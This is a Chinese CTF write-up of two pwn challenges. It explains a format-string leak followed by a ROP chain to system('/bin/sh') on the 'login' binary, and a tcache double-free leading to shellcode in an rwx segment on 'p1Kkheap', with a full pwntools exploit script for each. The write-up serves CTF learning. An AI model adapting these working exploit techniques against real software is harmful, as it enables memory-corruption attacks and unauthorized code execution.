没时间写mobile,reverse的了,但不得不说比赛很舒适,题目质量都不错
pwn
login
先来看眼题目:
程序保护只开了nx,:)
这里比较明显的是个格式化字符串漏洞,比较特殊的是那个format是在bss段上的,但是我们一样可以通过它泄露栈上的信息
因为主体还是栈题,所以我们的初步构想是先泄露libc地址,那在printf处下断点,到上图的printf处查看栈的分布。
发现可以泄露__libc_start_main+241的地址,因为这个地址实在libc段上的,所以可计算得出libc基地址,同时泄露ebp地址,为了待会构造rop用。他们距离格式化字符串的偏移分别为15和6
在得到libc基地址和ebp,顺便得到ret地址后,我们开始构造rop
这里使用system和binsh得到权限。思路是ret位置填上三个pop和一个ret的gadget(为什么这么做,看下去就知道了,初步原因是因为我们之前得到的ebp内的地址(old ebp)距离ebp为4个地址单位)
然后在old ebp后的old ret处填上我们shellcode的地址(system地址),再在后面填上新ret地址和binsh地址。这里其实也有队伍直接在最初的ret地址处直接上system地址,据说也可获得权限。。。但这里还是按照程序流来做。
[+] ebp: 0xffffd718
[+] target_addr(ret地址): 0xffffd70c
[+] libc: 0xf7dfa000
[+] system: 0xf7e36d10
[+] binsh: 0xf7f758cf
这是得到的五个地址,可以帮助理解下面的内容。
然后根据程序,先输入一个地址做输入地址,再往这个地址输入数据,这样重复构造完成rop.
- 这是输入完三个pop和一个ret地址的gadget地址后的布局,为什么要这么做呢,其实是因为我们old ebp距离ebp的位置有四个地质单元,所以我们要再原先leave ebp,esp,pop ebp之后,再pop三次,然后在地址0xffffd71c 处标为ret地址,使ip指向system函数地址
- 最后完成rop构造的布局,其中0xffffd720应该是新ret的地址没什么用,0xffffd724是binsh地址
- 官方魔改的exp, 这里的offset1和offset2是根据在read函数下断点,然后在查看它的栈结构得到的偏移值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| #!/usr/bin/python2.7 # -*- coding: utf-8 -*- from pwn import * context.log_level = "debug" context.arch = "i386" context.terminal = ['tmux','splitw','-h'] elf = ELF("login")
def exp(): sh = process("./login") lib = ELF("./bc.so.6") sh.sendlineafter(":","a") payload = '%6$pAA%15$pBB\x00' #gdb.attach(sh) sh.sendlineafter(":",payload) sh.recvuntil("0x") ebp = int(sh.recvuntil("AA",True),16) print hex(ebp) print 'ebp => ',hex(ebp) target_addr = ebp - (0xffe54918 - 0xffe5490c) libc = int(sh.recvuntil("BB",True),16) - 0x18e81#lib.symbols['__libc_start_main'] - 241 print 'libc => ', hex(libc) system = libc + lib.symbols['system'] binsh = libc + lib.search("/bin/sh\x00").next() def inputMsg(msg): sh.sendlineafter("!",msg) offset1 = 6 offset2 = 10 written_size = 0 offset = 0
# [+] ebp: 0xffffd718 # [+] target_addr: 0xffffd70c (ret) # [+] libc: 0xf7dfa000 # [+] system: 0xf7e36d10 # [+] binsh: 0xf7f758cf
gdb.attach(sh,'b read') position = (target_addr + offset) % 0x10000 payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00" inputMsg(payload) oneByte = 0x8d29 payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00" inputMsg(payload)
offset = 2 position = (target_addr + offset) % 0x10000 payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00" inputMsg(payload)
oneByte = 0x804 payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00" inputMsg(payload)
offset = 16 position = (target_addr + offset) % 0x10000 payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00" inputMsg(payload) oneByte = system % 0x10000 payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00" inputMsg(payload) offset = 18 position = (target_addr + offset) % 0x10000 payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00" inputMsg(payload) oneByte = system >> 16 payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00" inputMsg(payload)
offset = 20 position = (target_addr + offset) % 0x10000 payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00" inputMsg(payload) oneByte = 0xbeef payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00" inputMsg(payload)
offset = 22 position = (target_addr + offset) % 0x10000 payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00" inputMsg(payload) oneByte = 0xdead payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00" inputMsg(payload) offset = 24 position = (target_addr + offset) % 0x10000 payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00" inputMsg(payload) oneByte = binsh % 0x10000 payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00" inputMsg(payload)
offset = 26 position = (target_addr + offset) % 0x10000 payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00" inputMsg(payload) oneByte = binsh >> 16 payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00" inputMsg(payload) inputMsg("wllmmllw") log.success("ebp: " + hex(ebp)) log.success("target_addr: " + hex(target_addr)) log.success("libc: " + hex(libc)) log.success("system: " + hex(system)) log.success("binsh: " + hex(binsh)) sh.interactive()
if __name__ == "__main__": exp()
|
p1Kkheap
漏洞类型:tcache_attack漏洞,rwxp段
利用思路:通过tcache来泄露heap_base地址,再通过double free使tcache变为0xff(255)
有add,show,edit,delete,exit五个函数。在delete中,free后指针未置为零是一个漏洞点,意味着我们可以在free了以后依旧可以打印出堆块的内容
题目附件中给的libc版本是2.27的,于是尝试考虑tcache attack。
查看题目开心的发现了rwxp段,估计是注入shellcode到该段,在shellcode中读取flag文件内容,然后再在另外地方(用__malloc_hook触发是常识了)设置trigger到该段。
那如何利用tcache呢?
tcache引入了tcache_entry 和 tcache_pertheread_struct两个结构体。其中tcache_perthread_struct 是整个 tcache 的管理结构,如果能控制这个结构体,那么无论我们 malloc 的 size 是多少,地址都是可控的。
1 2 3 4 5 6 7 8 9 10
| typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry;
typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
|
这里,tcache的具体内容不再展开,但大致可以理解为把他当作高配版的fastbin理解用 :)
因为tcache内的堆块也是依靠fd来指向前堆块,同时tcache_put()对double free不做检查(虽然现在已经被提了commit)
那我们要做的就是double free使其自己指向自己(即fd位置填上了自己malloc得到的地址,这里是因为tcache相互之间是fd指向fd地址的,结构图参考wiki),然后泄露出fd的内容,即heap_base地址, 这里就不放图了。。
再然后我们刚才提到过,如果能控制tcache_perthread_struct,就可以控制malloc的size和地址了,调试发现,我们之前malloc得到的堆地址距离该结构体相差也不远. 这个结构体也很好判断,2代表了counts数,而在后面存储的即是entries的那些地址。
在 libc 2.26 之后的 tcache 机制中,未对 fd 指针指向的 chunk 进行 size 检查,从而可以将 fd 指针覆盖任意地址。在 free 该被溢出 chunk 并且两次 malloc 后可以实现任意地址修改,那我们再次malloc,通过edit修改fd地址,然后再次malloc抵消之前doublefree的操作,使counts变为0,再次malloc使得counts变为0xff
接下来要尝试泄露__malloc_hook地址,按着结构体来分布,size改为一个大值(虽然已经大于7),然后不要忘了entries是指针(即是堆块),填上0x250-0x40+1, 再在相应地址处填上想放入unsortedbin的堆块地址,当我们再次malloc和free时,因为tcache的个数已经大于七,于是将释放的堆块放入unsortedbin中,这里提醒一个点就是这里tcache attack的堆块都要是small bins(原因看机制),然后我们就可以泄露出malloc hook地址了
接下来和上面类似的操作,但是我们这次给两个entries填上了地址,一个是为了分配到rwxp段,一个是为了待会修改mallochook地址内为rwxp段,以触发shellcode。这个就不再展开了,看exp调一下明白了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| #!/usr/bin/python2.7 # -*- coding: utf-8 -*- from pwn import * context.log_level = "debug" context.terminal = ['tmux','splitw','-h'] context.arch = "amd64" elf = ELF("./p1KkHeap") lib = 0 sh = 0 def add(size): sh.sendlineafter(":","1") sh.sendlineafter(":",str(size)) def edit(idx,content): sh.sendlineafter(":","3") sh.sendlineafter(":",str(idx)) sh.sendafter(":",content) def free(idx): sh.sendlineafter(":","4") sh.sendlineafter(":",str(idx)) def show(idx): sh.sendlineafter(":","2") sh.sendlineafter(":",str(idx)) def backdoor(content): sh.sendlineafter(":","666") sh.sendlineafter("(y or n)","y") sh.sendafter("start",content) def debug(): gdb.attach(sh,"x/30xg 0x555555767250") #0x555555767250
def pwn(): global sh global lib sh = process("./p1KkHeap") lib = ELF("./bc.so.6") add(0x90) free(0) free(0) show(0) sh.recvuntil("content: ") heap_base = u64(sh.recvuntil("\n",True).ljust(8,"\x00")) - 0x260 add(0x90) edit(1,p64(heap_base + 0x10)) add(0x90) add(0x90)#0xff = 255 payload = p64(0) + p64(0xffffffffffffffff) * 7 + p64(0) + p64(0x201) + p64(0) * 6 + p64(heap_base + 0x60) edit(3,payload) add(0x90) free(4) show(4) sh.recvuntil("content: ") libc = u64(sh.recvuntil("\x7f",False).ljust(8,'\x00')) - 0x70 - lib.symbols['__malloc_hook'] __malloc_hook = libc + lib.symbols['__malloc_hook'] payload = p64(0) + p64(0xffffffffffffffff) * 7 + p64(0) + p64(0x201) + p64(0) * 6 + p64(0x66660000) + p64(__malloc_hook) edit(3,payload) add(0x90) payload = shellcraft.open("flag.txt") payload += shellcraft.read(3,0x66660100,0x30) payload += shellcraft.write(1,0x66660100,0x30) edit(5,asm(payload)) add(0xa0)# 0x7ffff7dcfc30 __malloc_hook edit(6,p64(0x66660000)) debug() add(0x90) log.success("heap_base: " + hex(heap_base)) log.success("libc: " + hex(libc)) sh.interactive() if __name__ == "__main__": pwn()
|